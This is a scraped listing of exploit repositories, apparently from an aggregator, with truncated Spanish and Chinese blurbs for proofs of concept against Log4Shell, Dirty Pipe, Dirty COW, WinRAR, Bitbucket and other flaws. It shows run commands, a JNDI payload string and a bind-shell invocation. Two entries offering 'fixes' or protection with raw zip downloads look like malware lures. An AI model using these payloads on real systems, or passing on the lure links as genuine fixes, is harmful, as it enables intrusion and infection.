log4j-shell-poc

log4shell-poc CVE-2021-44228 Exploit de prueba de concepto para la vulnerabilidad de Log4j CVE-2021-44228, también conocida como Log4Shell. Esta herramienta genera una clase Java maliciosa, inicia un servidor de referencia LDAP y sirve el payload a través de HTTP, permitiendo a un atacante remoto...

ansible-role-log4shell

Rol de Ansible - log4shell ⭐ Danos una estrella en GitHub — ¡nos motiva mucho! Encuentra Log4Shell CVE-2021-44228 en tu sistema Este rol intenta encontrar JAR y WAR en el sistema de archivos y en archivos abiertos lsof ⚠️ Su sistema puede funcionar lentamente durante el escaneo debido a un find en...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-漏洞利用工具集 一套为渗透测试人员和红队提供的漏洞利用工具和文档，用于协助利用 Linux Dirty Pipe 漏洞。 关于漏洞 Dirty Pipe CVE-2022-0847 是 Linux 内核中的一个本地提权漏洞，可能允许非特权用户执行以下操作： 修改/覆盖任意只读文件，如 /etc/passwd。 获得一个高权限 shell。 受影响版本 Linux 内核版本高于 5.8 的版本受影响。 目前该漏洞已在以下 Linux 内核版本中修复： 5.16.11 5.15.25 5.10.102...

CVE-2021-21973-Automateme

CVE-2021-21973-Automateme ¡automatízame!...

CVE-2023-2982

Este repositorio no tiene un README...

fix-react2shell-next

🚀 fix-react2shell-next - 修复您的 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 应用中的漏洞 📥 立即下载 📝 概述 fix-react2shell-next 帮助您解决 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 或 React RSC...

subpath-exploit

Ejemplo de Escape de Kubernetes mediante CVE-2017-1002101 Descripción Después de conocer el problema y seguir esta guía, quise explorar un poco más. Este repositorio contiene un par de despliegues de pods y scripts auxiliares de shell que demuestran el mecanismo de ataque de la manera más simple...

CVE-2023-27372

脚本的安装与执行 💻 前提条件 在开始之前，请确保你的机器上已安装以下工具： Python 3.x Git pip （用于管理 Python 依赖） 安装步骤 1. 克隆仓库 使用 git 克隆仓库： root@kitploit: git clone https://github.com/dream434/CVE-2023-27372 2. 进入项目目录 root@kitploit: cd CVE-2023-27372 3. 运行应用程序 root@kitploit: pip install collorama python CVE-2023-27372.py...

cve-2024-CVE-2024-41713

cve-2024-CVE-2024-41713...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator Acerca de Esta herramienta le permite verificar si una aplicación web Java simple es vulnerable a CVE-2021-44228 para una versión de Java y Log4J proporcionada por el usuario. También puede opcionalmente aplicar una de las mitigaciones predefinidas. El laborator...

whoc

whoc A container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform! WhoC at Defcon 29 Cloud Village Azurescape - whoc-powered research, the first cross-account container takeover i...

config-demo

CVE-2020-5410...

PoCForCVE-2015-1528

这个PoC分为三个部分： mediaserver 文件夹帮助从普通应用向 mediaserver 注入代码。 surfaceflinger 文件夹帮助在获得 mediaserver 权限后向 surfaceflinger 注入代码。 systemserver 文件夹帮助在获得 surfaceflinger 权限后向 systemserver 注入代码。 bbshell 文件夹帮助向 mediaserver 注入 busybox。 PoC 包含许多硬编码，我在 Nexus 5 Android 5.0 LRX21O 上进行了测试，你可能需要调整这些硬编码以适应你的情况。...

CVE-2023-28432-metasploit-scanner

CVE-2023-28432-metasploit-scanner MinIO 信息泄露漏洞扫描器（基于 metasploit） 准备工作 POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2023-28432-metasploit-scanner cd CVE-2023-28432-metasploit-scanner mkdir -p /.msf4/modules/auxiliary/scanner/http cp minioinformationdisclosure.py...

CVE-2025-68921

🎮 CVE-2025-68921 - Protege tu portátil gaming hoy 🚀 Comenzando Bienvenido a CVE-2025-68921. Esta aplicación ayuda a proteger tu portátil gaming de vulnerabilidades que afectan a millones de dispositivos. Sigue los pasos a continuación para descargar y ejecutar el software. 🔗 Descargar ahora 💾...

Escalamiento-de-Privilegios-usando-el-Kernel-Exploit-Dirty-Cow

Dirty Cow CVE-2016-5195 提权 作者: Samuel García 学院: 4Geeks Academy 日期: 25/06/2025 描述 Dirty COW 是 Linux 内核（≤ 4.8.3）中的一个严重漏洞，允许本地攻击者通过竞争条件修改只读文件，从而将权限提升至 root。 目标 使用 Dirty Cow 漏洞模拟一次受控攻击，以： 验证内核的漏洞。 编译并传输漏洞利用程序。 在目标机器上执行并提升权限。 要求 目标机器: Ubuntu 16.04.1 内核 4.4.0-21-generic 受害者用户: student 密码: password123...

CVE-2022-36804

CVE-2022-36804 Puedes encontrar un script en Python para explotar la vulnerabilidad en Bitbucket relacionada con CVE-2022-36804. root@kitploit: .,;;. .:lll:. 'clllllc. ,llolllooc' 'loooooooool, .;ooooooooooo;. .:;..;odddddddddo:. 'ldo:. ,llccoddddddc. ,oddddc. .. .:dddddddl' .;dxxxxxxc. .;dxxxxxx...

CVE-2022-22947-Rce_POC

CVE-2022-22947-RcePOC 批量url检测Spring-Cloud-Gateway-CVE-2022-22947 使用方法 py Spring-Cloud-Gateway.py UrlsPath 执行完生成gateway.log文件，其中“+”、“-”、“”分别代表存在、不存在、请求异常...

CVE-2023-38831-winrar-exploit

CVE-2023-38831 winrar 漏洞利用生成器 快速 POC 测试 生成默认的 POC 用于测试 root@kitploit: python cve-2023-38831-exp-gen.py poc or python cve-2023-38831-exp-gen.py CLASSIFIEDDOCUMENTS.pdf script.bat poc.rar 自定义 1. 将诱饵文件和（恶意）脚本文件放在当前目录中，建议诱饵文件为图片（.png、.jpg）或文档（.pdf） 2. 运行 python cve-2023-38831-exp-gen.py 生成你的漏洞利用文件 截图...

CVE-2021-44228-PoC

CVE-2021-44228 PoC CVE-2021-44228 的 PoC。 该项目仅用于教育目的。 漏洞利用服务器 该项目创建了两个服务器：http 和 ldap。两者都是利用工作所必需的。指定的 Java 文件被编译，服务器在 Dockerfile 中启动。有效载荷会展示给用户——它必须被传递给易受攻击的应用程序。 示例有效载荷： root@kitploit: $jndi:ldap//127.0.0.1:1389/a 如何运行？ 绑定 shell root@kitploit: ./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind...